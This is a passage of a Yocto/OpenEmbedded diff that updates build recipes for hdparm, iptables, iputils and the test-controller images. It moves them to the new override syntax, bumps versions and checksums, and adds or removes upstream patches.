-RDEPENDS_wiper = "bash gawk coreutils"
+RDEPENDS:wiper = "bash gawk coreutils"
SRC_URI = "${SOURCEFORGE_MIRROR}/hdparm/${BP}.tar.gz \
file://wiper.sh-fix-stat-path.patch \
- "
+ "
-SRC_URI[md5sum] = "4652c49cf096a64683c05f54b4fa4679"
-SRC_URI[sha256sum] = "9ae78e883f3ce071d32ee0f1b9a2845a634fc4dd94a434e653fdbef551c5e10f"
+SRC_URI[sha256sum] = "d14929f910d060932e717e9382425d47c2e7144235a53713d55a94f7de535a4b"
EXTRA_OEMAKE = 'STRIP="echo" LDFLAGS="${LDFLAGS}"'
inherit update-alternatives
-ALTERNATIVE_${PN} = "hdparm"
+ALTERNATIVE:${PN} = "hdparm"
ALTERNATIVE_LINK_NAME[hdparm] = "${base_sbindir}/hdparm"
ALTERNATIVE_PRIORITY = "100"
diff --git a/meta/recipes-extended/images/core-image-full-cmdline.bb b/meta/recipes-extended/images/core-image-full-cmdline.bb
index 4d69073d9d..b034cd0aeb 100644
--- a/meta/recipes-extended/images/core-image-full-cmdline.bb
+++ b/meta/recipes-extended/images/core-image-full-cmdline.bb
@@ -1,7 +1,7 @@
-DESCRIPTION = "A console-only image with more full-featured Linux system \
+SUMMARY = "A console-only image with more full-featured Linux system \
functionality installed."
-IMAGE_FEATURES += "splash ssh-server-openssh"
+IMAGE_FEATURES += "splash ssh-server-openssh package-management"
IMAGE_INSTALL = "\
packagegroup-core-boot \
diff --git a/meta/recipes-extended/images/core-image-kernel-dev.bb b/meta/recipes-extended/images/core-image-kernel-dev.bb
index 4d16da1ea8..4018af7a3a 100644
--- a/meta/recipes-extended/images/core-image-kernel-dev.bb
+++ b/meta/recipes-extended/images/core-image-kernel-dev.bb
@@ -15,7 +15,7 @@ CORE_IMAGE_EXTRA_INSTALL += "${KERNEL_DEV_MODULE} \
"
# We need extra space for things like kernel builds, etc.
-IMAGE_ROOTFS_EXTRA_SPACE_append = " + 3000000"
+IMAGE_ROOTFS_EXTRA_SPACE:append = " + 3000000"
# Let's define our own subset to test, we can later add a on-target kernel build even!
DEFAULT_TEST_SUITES = "ping ssh df connman syslog scp date parselogs"
diff --git a/meta/recipes-extended/images/core-image-testmaster-initramfs.bb b/meta/recipes-extended/images/core-image-testcontroller-initramfs.bb
index 09a6d16042..3b81afd7c0 100644
--- a/meta/recipes-extended/images/core-image-testmaster-initramfs.bb
+++ b/meta/recipes-extended/images/core-image-testcontroller-initramfs.bb
@@ -1,4 +1,4 @@
-DESCRIPTION = "Small image capable of booting a device with custom install scripts, \
+SUMMARY = "Small image capable of booting a device with custom install scripts, \
adding a second rootfs, used for testing."
# use -testfs live-install scripts
@@ -7,7 +7,7 @@ PACKAGE_INSTALL = "initramfs-live-boot initramfs-live-install-testfs initramfs-l
# Do not pollute the initrd image with rootfs features
IMAGE_FEATURES = ""
-export IMAGE_BASENAME = "core-image-testmaster-initramfs"
+IMAGE_NAME_SUFFIX ?= ""
IMAGE_LINGUAS = ""
LICENSE = "MIT"
diff --git a/meta/recipes-extended/images/core-image-testmaster.bb b/meta/recipes-extended/images/core-image-testcontroller.bb
index 0faf18f5a4..ff79bde0c5 100644
--- a/meta/recipes-extended/images/core-image-testmaster.bb
+++ b/meta/recipes-extended/images/core-image-testcontroller.bb
@@ -1,4 +1,4 @@
-DESCRIPTION = "A master image to be deployed on a target useful for testing other images"
+SUMMARY = "A test controller image to be deployed on a target useful for testing other images using the OEQA runtime tests"
IMAGE_FEATURES += "ssh-server-openssh package-management"
@@ -14,5 +14,5 @@ IMAGE_INSTALL += "\
# we need a particular initramfs for live images
# that pulls custom install scripts which take
# care of partitioning for us
-INITRD_IMAGE = "core-image-testmaster-initramfs"
+INITRD_IMAGE = "core-image-testcontroller-initramfs"
diff --git a/meta/recipes-extended/iptables/iptables/0001-build-resolve-iptables-apply-not-getting-installed.patch b/meta/recipes-extended/iptables/iptables/0001-build-resolve-iptables-apply-not-getting-installed.patch
deleted file mode 100644
index 51ed66ed24..0000000000
--- a/meta/recipes-extended/iptables/iptables/0001-build-resolve-iptables-apply-not-getting-installed.patch
+++ /dev/null
@@ -1,45 +0,0 @@
-From d4ed0c741fc789bb09d977d74d30875fdd50d08b Mon Sep 17 00:00:00 2001
-From: Jan Engelhardt <jengelh@inai.de>
-Date: Wed, 3 Jun 2020 15:38:48 +0200
-Subject: [PATCH] build: resolve iptables-apply not getting installed
-MIME-Version: 1.0
-Content-Type: text/plain; charset=UTF-8
-Content-Transfer-Encoding: 8bit
-
-ip6tables-apply gets installed but iptables-apply does not.
-That is wrong.
-
-» make install DESTDIR=$PWD/r
-» find r -name "*app*"
-r/usr/local/sbin/ip6tables-apply
-r/usr/local/share/man/man8/iptables-apply.8
-r/usr/local/share/man/man8/ip6tables-apply.8
-
-Fixes: v1.8.5~87
-Signed-off-by: Jan Engelhardt <jengelh@inai.de>
-Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
-
-Upstream-Status: Backport
-[https://git.netfilter.org/iptables/commit/?id=d4ed0c741fc789bb09d977d74d30875fdd50d08b]
-
-Signed-off-by: Yi Zhao <yi.zhao@windriver.com>
----
- iptables/Makefile.am | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/iptables/Makefile.am b/iptables/Makefile.am
-index dc66b3cc..2024dbf5 100644
---- a/iptables/Makefile.am
-+++ b/iptables/Makefile.am
-@@ -56,7 +56,7 @@ man_MANS = iptables.8 iptables-restore.8 iptables-save.8 \
- ip6tables-save.8 iptables-extensions.8 \
- iptables-apply.8 ip6tables-apply.8
-
--sbin_SCRIPT = iptables-apply
-+sbin_SCRIPTS = iptables-apply
-
- if ENABLE_NFTABLES
- man_MANS += xtables-nft.8 xtables-translate.8 xtables-legacy.8 \
---
-2.17.1
-
diff --git a/meta/recipes-extended/iptables/iptables/0001-configure-Add-option-to-enable-disable-libnfnetlink.patch b/meta/recipes-extended/iptables/iptables/0001-configure-Add-option-to-enable-disable-libnfnetlink.patch
index 03c36ccbc2..8824bf2af7 100644
--- a/meta/recipes-extended/iptables/iptables/0001-configure-Add-option-to-enable-disable-libnfnetlink.patch
+++ b/meta/recipes-extended/iptables/iptables/0001-configure-Add-option-to-enable-disable-libnfnetlink.patch
@@ -1,4 +1,4 @@
-From c46db7c2e1f63ec525835553587e70c635565310 Mon Sep 17 00:00:00 2001
+From 0096c854d5015918ed154dccb3ad472fd06c1010 Mon Sep 17 00:00:00 2001
From: "Maxin B. John" <maxin.john@intel.com>
Date: Tue, 21 Feb 2017 11:16:31 +0200
Subject: [PATCH] configure: Add option to enable/disable libnfnetlink
@@ -10,12 +10,13 @@ Upstream-Status: Pending
Signed-off-by: Khem Raj <raj.khem@gmail.com>
Signed-off-by: Maxin B. John <maxin.john@intel.com>
+
---
configure.ac | 10 +++++++---
1 file changed, 7 insertions(+), 3 deletions(-)
diff --git a/configure.ac b/configure.ac
-index eda7871..03ddc50 100644
+index d99fa3b..d607772 100644
--- a/configure.ac
+++ b/configure.ac
@@ -63,6 +63,9 @@ AC_ARG_WITH([pkgconfigdir], AS_HELP_STRING([--with-pkgconfigdir=PATH],
@@ -28,9 +29,9 @@ index eda7871..03ddc50 100644
AC_ARG_ENABLE([connlabel],
AS_HELP_STRING([--disable-connlabel],
[Do not build libnetfilter_conntrack]),
-@@ -115,9 +118,10 @@ if test "x$enable_bpfc" = "xyes" || test "x$enable_nfsynproxy" = "xyes"; then
- AC_CHECK_LIB(pcap, pcap_compile,, AC_MSG_ERROR(missing libpcap library required by bpf compiler or nfsynproxy tool))
- fi
+@@ -113,9 +116,10 @@ AM_CONDITIONAL([ENABLE_SYNCONF], [test "$enable_nfsynproxy" = "yes"])
+ AM_CONDITIONAL([ENABLE_NFTABLES], [test "$enable_nftables" = "yes"])
+ AM_CONDITIONAL([ENABLE_CONNLABEL], [test "$enable_connlabel" = "yes"])
-PKG_CHECK_MODULES([libnfnetlink], [libnfnetlink >= 1.0],
- [nfnetlink=1], [nfnetlink=0])
@@ -40,8 +41,5 @@ index eda7871..03ddc50 100644
+ ])
+AM_CONDITIONAL([HAVE_LIBNFNETLINK], [test "x$enable_libnfnetlink" = "xyes"])
- if test "x$enable_nftables" = "xyes"; then
- PKG_CHECK_MODULES([libmnl], [libmnl >= 1.0], [mnl=1], [mnl=0])
---
-2.4.0
-
+ if test "x$enable_bpfc" = "xyes" || test "x$enable_nfsynproxy" = "xyes"; then
+ PKG_CHECK_MODULES([libpcap], [libpcap], [], [
diff --git a/meta/recipes-extended/iptables/iptables/0002-iptables-xshared.h-add-missing-sys.types.h-include.patch b/meta/recipes-extended/iptables/iptables/0002-iptables-xshared.h-add-missing-sys.types.h-include.patch
new file mode 100644
index 0000000000..a190c7e8ae
--- /dev/null
+++ b/meta/recipes-extended/iptables/iptables/0002-iptables-xshared.h-add-missing-sys.types.h-include.patch
@@ -0,0 +1,31 @@
+From 465e3ef77f1763d225adc76220e43ee9bd73b178 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Tue, 17 May 2022 10:56:59 +0200
+Subject: [PATCH] iptables/xshared.h: add missing sys.types.h include
+
+This resolves the build error under musl:
+
+| ../../../../../../../workspace/sources/iptables/iptables/xshared.h:83:56: error: unknown type name 'u_int16_t'; did you mean 'uint16_t'?
+| 83 | set_option(unsigned int *options, unsigned int option, u_int16_t *invflg,
+| | ^~~~~~~~~
+| | uint16_t
+
+Upstream-Status: Submitted [via email to phil@nwl.cc]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+
+---
+ iptables/xshared.h | 1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/iptables/xshared.h b/iptables/xshared.h
+index a200e0d..f543dbf 100644
+--- a/iptables/xshared.h
++++ b/iptables/xshared.h
+@@ -6,6 +6,7 @@
+ #include <stdint.h>
+ #include <netinet/in.h>
+ #include <net/if.h>
++#include <sys/types.h>
+ #include <linux/netfilter_arp/arp_tables.h>
+ #include <linux/netfilter_ipv4/ip_tables.h>
+ #include <linux/netfilter_ipv6/ip6_tables.h>
diff --git a/meta/recipes-extended/iptables/iptables/0002-configure.ac-only-check-conntrack-when-libnfnetlink-enabled.patch b/meta/recipes-extended/iptables/iptables/0004-configure.ac-only-check-conntrack-when-libnfnetlink-.patch
index 7842c6408a..5a022ebc8c 100644
--- a/meta/recipes-extended/iptables/iptables/0002-configure.ac-only-check-conntrack-when-libnfnetlink-enabled.patch
+++ b/meta/recipes-extended/iptables/iptables/0004-configure.ac-only-check-conntrack-when-libnfnetlink-.patch
@@ -1,4 +1,4 @@
-From 26090b3dbcdf6a11e60535da949b726a6e86426d Mon Sep 17 00:00:00 2001
+From 6832501bbb90a3dab977a4625d0391804c0e795c Mon Sep 17 00:00:00 2001
From: "Maxin B. John" <maxin.john@intel.com>
Date: Tue, 21 Feb 2017 11:49:07 +0200
Subject: [PATCH] configure.ac:
@@ -23,15 +23,16 @@ Upstream-Status: Pending
Signed-off-by: Kai Kang <kai.kang@windriver.com>
Signed-off-by: Maxin B. John <maxin.john@intel.com>
+
---
configure.ac | 6 ++++--
1 file changed, 4 insertions(+), 2 deletions(-)
diff --git a/configure.ac b/configure.ac
-index 03ddc50..523caea 100644
+index d607772..25a8e75 100644
--- a/configure.ac
+++ b/configure.ac
-@@ -172,10 +172,12 @@ if test "$nftables" != 1; then
+@@ -159,10 +159,12 @@ if test "$nftables" != 1; then
fi
if test "x$enable_connlabel" = "xyes"; then
@@ -46,6 +47,3 @@ index 03ddc50..523caea 100644
if test "$nfconntrack" -ne 1; then
blacklist_modules="$blacklist_modules connlabel";
echo "WARNING: libnetfilter_conntrack not found, connlabel match will not be built";
---
-2.4.0
-
diff --git a/meta/recipes-extended/iptables/iptables_1.8.5.bb b/meta/recipes-extended/iptables/iptables_1.8.10.bb
index 5976128807..cd2f3bce0b 100644
--- a/meta/recipes-extended/iptables/iptables_1.8.5.bb
+++ b/meta/recipes-extended/iptables/iptables_1.8.10.bb
@@ -3,23 +3,23 @@ DESCRIPTION = "iptables is the userspace command line program used to configure
filtering code in Linux."
HOMEPAGE = "http://www.netfilter.org/"
BUGTRACKER = "http://bugzilla.netfilter.org/"
-LICENSE = "GPLv2+"
+LICENSE = "GPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
file://iptables/iptables.c;beginline=13;endline=25;md5=c5cffd09974558cf27d0f763df2a12dc \
"
-SRC_URI = "http://netfilter.org/projects/iptables/files/iptables-${PV}.tar.bz2 \
- file://0001-configure-Add-option-to-enable-disable-libnfnetlink.patch \
- file://0002-configure.ac-only-check-conntrack-when-libnfnetlink-enabled.patch \
- file://0001-build-resolve-iptables-apply-not-getting-installed.patch \
+SRC_URI = "http://netfilter.org/projects/iptables/files/iptables-${PV}.tar.xz \
file://iptables.service \
file://iptables.rules \
file://ip6tables.service \
file://ip6tables.rules \
-"
-SRC_URI[sha256sum] = "d457d74512e63aa3f50336e0597d4023c0e3c6845594d38532efb6ebcb294309"
+ file://0001-configure-Add-option-to-enable-disable-libnfnetlink.patch \
+ file://0002-iptables-xshared.h-add-missing-sys.types.h-include.patch \
+ file://0004-configure.ac-only-check-conntrack-when-libnfnetlink-.patch \
+ "
+SRC_URI[sha256sum] = "5cc255c189356e317d070755ce9371eb63a1b783c34498fb8c30264f3cc59c9c"
-SYSTEMD_SERVICE_${PN} = "\
+SYSTEMD_SERVICE:${PN} = "\
iptables.service \
${@bb.utils.contains('PACKAGECONFIG', 'ipv6', 'ip6tables.service', '', d)} \
"
@@ -28,6 +28,8 @@ inherit autotools pkgconfig systemd
EXTRA_OECONF = "--with-kernel=${STAGING_INCDIR}"
+CFLAGS:append:libc-musl = " -D__UAPI_DEF_ETHHDR=0"
+
PACKAGECONFIG ?= "${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)}"
PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6,"
@@ -37,15 +39,18 @@ PACKAGECONFIG[libnfnetlink] = "--enable-libnfnetlink,--disable-libnfnetlink,libn
# libnftnl recipe is in meta-networking layer(previously known as libnftables)
PACKAGECONFIG[libnftnl] = "--enable-nftables,--disable-nftables,libnftnl"
-do_configure_prepend() {
+do_configure:prepend() {
# Remove some libtool m4 files
# Keep ax_check_linker_flags.m4 which belongs to autoconf-archive.
rm -f libtool.m4 lt~obsolete.m4 ltoptions.m4 ltsugar.m4 ltversion.m4
+
+ # Copy a header to fix out of tree builds
+ cp -f ${S}/libiptc/linux_list.h ${S}/include/libiptc/
}
IPTABLES_RULES_DIR ?= "${sysconfdir}/${BPN}"
-do_install_append() {
+do_install:append() {
install -d ${D}${IPTABLES_RULES_DIR}
install -m 0644 ${WORKDIR}/iptables.rules ${D}${IPTABLES_RULES_DIR}
@@ -66,20 +71,25 @@ do_install_append() {
-e 's,@RULESDIR@,${IPTABLES_RULES_DIR},g' \
${D}${systemd_system_unitdir}/ip6tables.service
fi
+
+ # if libnftnl is included, make the iptables symlink point to the nft-based binary by default
+ if ${@bb.utils.contains('PACKAGECONFIG', 'libnftnl', 'true', 'false', d)} ; then
+ ln -sf ${sbindir}/xtables-nft-multi ${D}${sbindir}/iptables
+ fi
}
PACKAGES =+ "${PN}-modules ${PN}-apply"
PACKAGES_DYNAMIC += "^${PN}-module-.*"
-python populate_packages_prepend() {
+python populate_packages:prepend() {
modules = do_split_packages(d, '${libdir}/xtables', r'lib(.*)\.so$', '${PN}-module-%s', '${PN} module %s', extra_depends='')
if modules:
metapkg = d.getVar('PN') + '-modules'
- d.appendVar('RDEPENDS_' + metapkg, ' ' + ' '.join(modules))
+ d.appendVar('RDEPENDS:' + metapkg, ' ' + ' '.join(modules))
}
-RDEPENDS_${PN} = "${PN}-module-xt-standard"
-RRECOMMENDS_${PN} = " \
+RDEPENDS:${PN} = "${PN}-module-xt-standard"
+RRECOMMENDS:${PN} = " \
${PN}-modules \
kernel-module-x-tables \
kernel-module-ip-tables \
@@ -96,16 +106,18 @@ RRECOMMENDS_${PN} = " \
', '', d)} \
"
-FILES_${PN} += "${datadir}/xtables"
+FILES:${PN} += "${datadir}/xtables"
-FILES_${PN}-apply = "${sbindir}/ip*-apply"
-RDEPENDS_${PN}-apply = "${PN} bash"
+FILES:${PN}-apply = "${sbindir}/ip*-apply"
+RDEPENDS:${PN}-apply = "${PN} bash"
# Include the symlinks as well in respective packages
-FILES_${PN}-module-xt-conntrack += "${libdir}/xtables/libxt_state.so"
-FILES_${PN}-module-xt-ct += "${libdir}/xtables/libxt_NOTRACK.so"
+FILES:${PN}-module-xt-conntrack += "${libdir}/xtables/libxt_state.so"
+FILES:${PN}-module-xt-ct += "${libdir}/xtables/libxt_NOTRACK.so ${libdir}/xtables/libxt_REDIRECT.so"
+FILES:${PN}-module-xt-nat += "${libdir}/xtables/libxt_SNAT.so ${libdir}/xtables/libxt_DNAT.so ${libdir}/xtables/libxt_MASQUERADE.so"
-ALLOW_EMPTY_${PN}-modules = "1"
+ALLOW_EMPTY:${PN}-modules = "1"
-INSANE_SKIP_${PN}-module-xt-conntrack = "dev-so"
-INSANE_SKIP_${PN}-module-xt-ct = "dev-so"
+INSANE_SKIP:${PN}-module-xt-conntrack = "dev-so"
+INSANE_SKIP:${PN}-module-xt-ct = "dev-so"
+INSANE_SKIP:${PN}-module-xt-nat = "dev-so"
diff --git a/meta/recipes-extended/iputils/iputils/0001-iputils-Initialize-libgcrypt.patch b/meta/recipes-extended/iputils/iputils/0001-iputils-Initialize-libgcrypt.patch
deleted file mode 100644
index b56804cebe..0000000000
--- a/meta/recipes-extended/iputils/iputils/0001-iputils-Initialize-libgcrypt.patch
+++ /dev/null
@@ -1,55 +0,0 @@
-From 8576e0c218634e6f7ed1b6ff02fa164fb0c75f86 Mon Sep 17 00:00:00 2001
-From: Mingli Yu <mingli.yu@windriver.com>
-Date: Wed, 29 Apr 2020 03:50:32 +0000
-Subject: [PATCH] iputils_md5dig.h: Initialize libgcrypt
-
-Initialize libgcrypt on first use otherwise
-there comes below warning when check the status
-of the ninfod.service.
- # systemctl status ninfod.service
- * ninfod.service - Respond to IPv6 Node Information Queries
- Loaded: loaded (/lib/systemd/system/ninfod.service; enabled; vendor preset: enabled)
- Active: active (running) since Wed 2020-04-29 05:18:21 UTC; 36s ago
- Docs: man:ninfod(8)
- Main PID: 347 (ninfod)
- Tasks: 1 (limit: 9382)
- Memory: 1.2M
- CGroup: /system.slice/ninfod.service
- `-347 /sbin/ninfod -d
-
- Apr 29 05:18:21 intel-x86-64 systemd[1]: Started Respond to IPv6 Node Information Queries.
- Apr 29 05:18:24 intel-x86-64 ninfod[347]: Libgcrypt warning: missing initialization - please fix the application
-
-Upstream-Status: Inappropriate [the upstream avoids linking to crypto libraries in
- commit 214ed83 common: copy md5 implementation to iputils project]
-
-Signed-off-by: Mingli Yu <mingli.yu@windriver.com>
----
- iputils_md5dig.h | 9 +++++++++
- 1 file changed, 9 insertions(+)
-
-diff --git a/iputils_md5dig.h b/iputils_md5dig.h
-index bfa7f02..3cc3fbf 100644
---- a/iputils_md5dig.h
-+++ b/iputils_md5dig.h
-@@ -24,8 +24,17 @@ typedef struct {
- gcry_md_hd_t dig;
- } iputils_md5dig_ctx;
-
-+void maybeInit()
-+{
-+ if (!gcry_control(GCRYCTL_INITIALIZATION_FINISHED_P))
-+ {
-+ gcry_control(GCRYCTL_INITIALIZATION_FINISHED, 0);
-+ }
-+}
-+
- static void iputils_md5dig_init(iputils_md5dig_ctx *ctx)
- {
-+ maybeInit();
- if (gcry_md_open(&ctx->dig, GCRY_MD_MD5, 0) != GPG_ERR_NO_ERROR)
- abort();
- return;
---
-2.24.1
-
diff --git a/meta/recipes-extended/iputils/iputils/0001-ninfod-change-variable-name-to-avoid-colliding-with-.patch b/meta/recipes-extended/iputils/iputils/0001-ninfod-change-variable-name-to-avoid-colliding-with-.patch
deleted file mode 100644
index e106a0cf73..0000000000
--- a/meta/recipes-extended/iputils/iputils/0001-ninfod-change-variable-name-to-avoid-colliding-with-.patch
+++ /dev/null
@@ -1,51 +0,0 @@
-From ab1aa2eb0097a7ef05ffccac058b06812deb2695 Mon Sep 17 00:00:00 2001
-From: Sami Kerola <kerolasa@iki.fi>
-Date: Sat, 28 Dec 2019 17:16:27 +0000
-Subject: [PATCH] ninfod: change variable name to avoid colliding with function
- name
-
-The sys/capability.h header has 'extern int cap_setuid(uid_t uid);'
-function prototype.
-
-Addresses: https://github.com/iputils/iputils/issues/246
-
-Upstream-Status: Backport [https://github.com/iputils/iputils/commit/18f9a84e0e702841d6cc4d5f593de4fbd1348e83]
-Signed-off-by: Sami Kerola <kerolasa@iki.fi>
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- ninfod/ninfod.c | 8 ++++----
- 1 file changed, 4 insertions(+), 4 deletions(-)
-
-diff --git a/ninfod/ninfod.c b/ninfod/ninfod.c
-index badbf80..28f03af 100644
---- a/ninfod/ninfod.c
-+++ b/ninfod/ninfod.c
-@@ -454,7 +454,7 @@ static void do_daemonize(void)
- /* --------- */
- #ifdef HAVE_LIBCAP
- static const cap_value_t cap_net_raw = CAP_NET_RAW;
--static const cap_value_t cap_setuid = CAP_SETUID;
-+static const cap_value_t cap_setuserid = CAP_SETUID;
- static cap_flag_value_t cap_ok;
- #else
- static uid_t euid;
-@@ -486,7 +486,7 @@ static void limit_capabilities(void)
-
- cap_get_flag(cap_cur_p, CAP_SETUID, CAP_PERMITTED, &cap_ok);
- if (cap_ok != CAP_CLEAR)
-- cap_set_flag(cap_p, CAP_PERMITTED, 1, &cap_setuid, CAP_SET);
-+ cap_set_flag(cap_p, CAP_PERMITTED, 1, &cap_setuserid, CAP_SET);
-
- if (cap_set_proc(cap_p) < 0) {
- DEBUG(LOG_ERR, "cap_set_proc: %s\n", strerror(errno));
-@@ -519,8 +519,8 @@ static void drop_capabilities(void)
-
- /* setuid / setuid */
- if (cap_ok != CAP_CLEAR) {
-- cap_set_flag(cap_p, CAP_PERMITTED, 1, &cap_setuid, CAP_SET);
-- cap_set_flag(cap_p, CAP_EFFECTIVE, 1, &cap_setuid, CAP_SET);
-+ cap_set_flag(cap_p, CAP_PERMITTED, 1, &cap_setuserid, CAP_SET);
-+ cap_set_flag(cap_p, CAP_EFFECTIVE, 1, &cap_setuserid, CAP_SET);
-
- if (cap_set_proc(cap_p) < 0) {
- DEBUG(LOG_ERR, "cap_set_proc: %s\n", strerror(errno));
diff --git a/meta/recipes-extended/iputils/iputils/0001-ninfod-fix-systemd-Documentation-url-error.patch b/meta/recipes-extended/iputils/iputils/0001-ninfod-fix-systemd-Documentation-url-error.patch
deleted file mode 100644
index 03a3f5602d..0000000000
--- a/meta/recipes-extended/iputils/iputils/0001-ninfod-fix-systemd-Documentation-url-error.patch
+++ /dev/null
@@ -1,28 +0,0 @@
-From c1f1527eb30d4a5feebf9a0757582bbf7fe3eae9 Mon Sep 17 00:00:00 2001
-From: Andrea Stevanato <andrea.stevanato.95@hotmail.it>
-Date: Tue, 5 Nov 2019 19:08:30 +0000
-Subject: [PATCH] ninfod: fix systemd Documentation url error
-
-systemd[1]: /usr/lib/systemd/system/ninfod.service:3: Invalid URL, ignoring: ninfod(8)
-
-Upstream-Status: Backport [https://github.com/iputils/iputils/commit/c1f1527eb30d4a5feebf9a0757582bbf7fe3eae9]
-Signed-off-by: Alex Kiernan <alex.kiernan@gmail.com>
----
- systemd/ninfod.service.in | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/systemd/ninfod.service.in b/systemd/ninfod.service.in
-index 5ab69ca00e96..8e79fcd9238e 100644
---- a/systemd/ninfod.service.in
-+++ b/systemd/ninfod.service.in
-@@ -1,6 +1,6 @@
- [Unit]
- Description=Respond to IPv6 Node Information Queries
--Documentation=ninfod(8)
-+Documentation=man:ninfod(8)
- Requires=network.target
- After=network.target
-
---
-2.17.1
-
diff --git a/meta/recipes-extended/iputils/iputils/0001-rarpd-rdisc-Drop-PrivateUsers.patch b/meta/recipes-extended/iputils/iputils/0001-rarpd-rdisc-Drop-PrivateUsers.patch
deleted file mode 100644
index d7367caf78..0000000000
--- a/meta/recipes-extended/iputils/iputils/0001-rarpd-rdisc-Drop-PrivateUsers.patch
+++ /dev/null
@@ -1,46 +0,0 @@
-From 6e51d529988cfc0bb357751fd767e9f1478e2b81 Mon Sep 17 00:00:00 2001
-From: Alex Kiernan <alex.kiernan@gmail.com>
-Date: Thu, 13 Feb 2020 06:08:45 +0000
-Subject: [PATCH] rarpd: rdisc: Drop PrivateUsers
-
-Neither rarpd nor rdisc can gain the necessary capabilities with
-PrivateUsers enabled.
-
-Upstream-Status: Pending
-Signed-off-by: Alex Kiernan <alex.kiernan@gmail.com>
----
- systemd/rarpd.service.in | 1 -
- systemd/rdisc.service.in | 3 ++-
- 2 files changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/systemd/rarpd.service.in b/systemd/rarpd.service.in
-index e600c10c93e6..f5d7621a7ce8 100644
---- a/systemd/rarpd.service.in
-+++ b/systemd/rarpd.service.in
-@@ -12,7 +12,6 @@ AmbientCapabilities=CAP_NET_RAW
- DynamicUser=yes
- PrivateTmp=yes
- PrivateDevices=yes
--PrivateUsers=yes
- ProtectSystem=strict
- ProtectHome=yes
- ProtectControlGroups=yes
-diff --git a/systemd/rdisc.service.in b/systemd/rdisc.service.in
-index 4e2a1ec9d0e5..a71b87d36b37 100644
---- a/systemd/rdisc.service.in
-+++ b/systemd/rdisc.service.in
-@@ -8,9 +8,10 @@ After=network.target
- EnvironmentFile=-/etc/sysconfig/rdisc
- ExecStart=@sbindir@/rdisc -f -t $OPTIONS $SEND_ADDRESS $RECEIVE_ADDRESS
-
-+CapabilityBoundingSet=CAP_NET_RAW
- AmbientCapabilities=CAP_NET_RAW
- PrivateTmp=yes
--PrivateUsers=yes
-+DynamicUser=yes
- ProtectSystem=strict
- ProtectHome=yes
- ProtectControlGroups=yes
---
-2.17.1
-
diff --git a/meta/recipes-extended/iputils/iputils_20240117.bb b/meta/recipes-extended/iputils/iputils_20240117.bb
new file mode 100644
index 0000000000..3880689742
--- /dev/null
+++ b/meta/recipes-extended/iputils/iputils_20240117.bb
@@ -0,0 +1,59 @@
+SUMMARY = "Network monitoring tools"
+DESCRIPTION = "Utilities for the IP protocol, including \
+tracepath, tracepath6, ping, ping6 and arping."
+HOMEPAGE = "https://github.com/iputils/iputils"
+SECTION = "console/network"
+
+LICENSE = "BSD-3-Clause & GPL-2.0-or-later"
+
+LIC_FILES_CHKSUM = "file://LICENSE;md5=627cc07ec86a45951d43e30658bbd819"
+
+DEPENDS = "gnutls"
+
+SRC_URI = "git://github.com/iputils/iputils;branch=master;protocol=https"
+SRCREV = "8372f355bdf7a9b0c79338dd8ef8464c00a5c4e2"
+
+S = "${WORKDIR}/git"
+
+UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>20\d+)"
+
+CVE_STATUS[CVE-2000-1213] = "fixed-version: Fixed in 2000-10-10, but the versioning of iputils breaks the version order."
+CVE_STATUS[CVE-2000-1214] = "fixed-version: Fixed in 2000-10-10, but the versioning of iputils breaks the version order."
+
+PACKAGECONFIG ??= "libcap"
+PACKAGECONFIG[libcap] = "-DUSE_CAP=true, -DUSE_CAP=false -DNO_SETCAP_OR_SUID=true, libcap libcap-native"
+PACKAGECONFIG[libidn] = "-DUSE_IDN=true, -DUSE_IDN=false, libidn2"
+PACKAGECONFIG[gettext] = "-DUSE_GETTEXT=true, -DUSE_GETTEXT=false, gettext"
+PACKAGECONFIG[docs] = "-DBUILD_HTML_MANS=true -DBUILD_MANS=true,-DBUILD_HTML_MANS=false -DBUILD_MANS=false, libxslt"
+
+inherit meson update-alternatives pkgconfig
+
+EXTRA_OEMESON += "--prefix=${root_prefix}/ -DSKIP_TESTS=true"
+
+ALTERNATIVE_PRIORITY = "100"
+
+ALTERNATIVE:${PN}-ping = "ping"
+ALTERNATIVE_LINK_NAME[ping] = "${base_bindir}/ping"
+
+ALTERNATIVE:${PN}-ping6 = "ping6"
+ALTERNATIVE_LINK_NAME[ping6] = "${base_bindir}/ping6"
+
+SPLITPKGS = "${PN}-ping ${PN}-arping ${PN}-tracepath ${PN}-clockdiff \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'ipv6', '${PN}-ping6', '', d)}"
+PACKAGES += "${SPLITPKGS}"
+
+ALLOW_EMPTY:${PN} = "1"
+RDEPENDS:${PN} += "${SPLITPKGS}"
+
+FILES:${PN} = ""
+FILES:${PN}-ping = "${base_bindir}/ping.${BPN}"
+FILES:${PN}-ping6 = "${base_bindir}/ping6.${BPN}"
+FILES:${PN}-arping = "${base_bindir}/arping"
+FILES:${PN}-tracepath = "${base_bindir}/tracepath"
+FILES:${PN}-clockdiff = "${base_bindir}/clockdiff"
+
+do_install:append() {
+ if ${@bb.utils.contains('DISTRO_FEATURES', 'ipv6', 'true', 'false', d)}; then
+ ln -sf ping ${D}/${base_bindir}/ping6
+ fi
+}
diff --git a/meta/recipes-extended/iputils/iputils_s20190709.bb b/meta/recipes-extended/iputils/iputils_s20190709.bb
deleted file mode 100644
index 545f3d5e87..0000000000
--- a/meta/recipes-extended/iputils/iputils_s20190709.bb
+++ /dev/null
@@ -1,74 +0,0 @@
-SUMMARY = "Network monitoring tools"
-DESCRIPTION = "Utilities for the IP protocol, including traceroute6, \
-tracepath, tracepath6, ping, ping6 and arping."
-HOMEPAGE = "https://github.com/iputils/iputils"
-SECTION = "console/network"
-
-LICENSE = "BSD & GPLv2+"
-
-LIC_FILES_CHKSUM = "file://LICENSE;md5=55aa8c9fcad0691cef0ecd420361e390"
-
-DEPENDS = "gnutls"
-
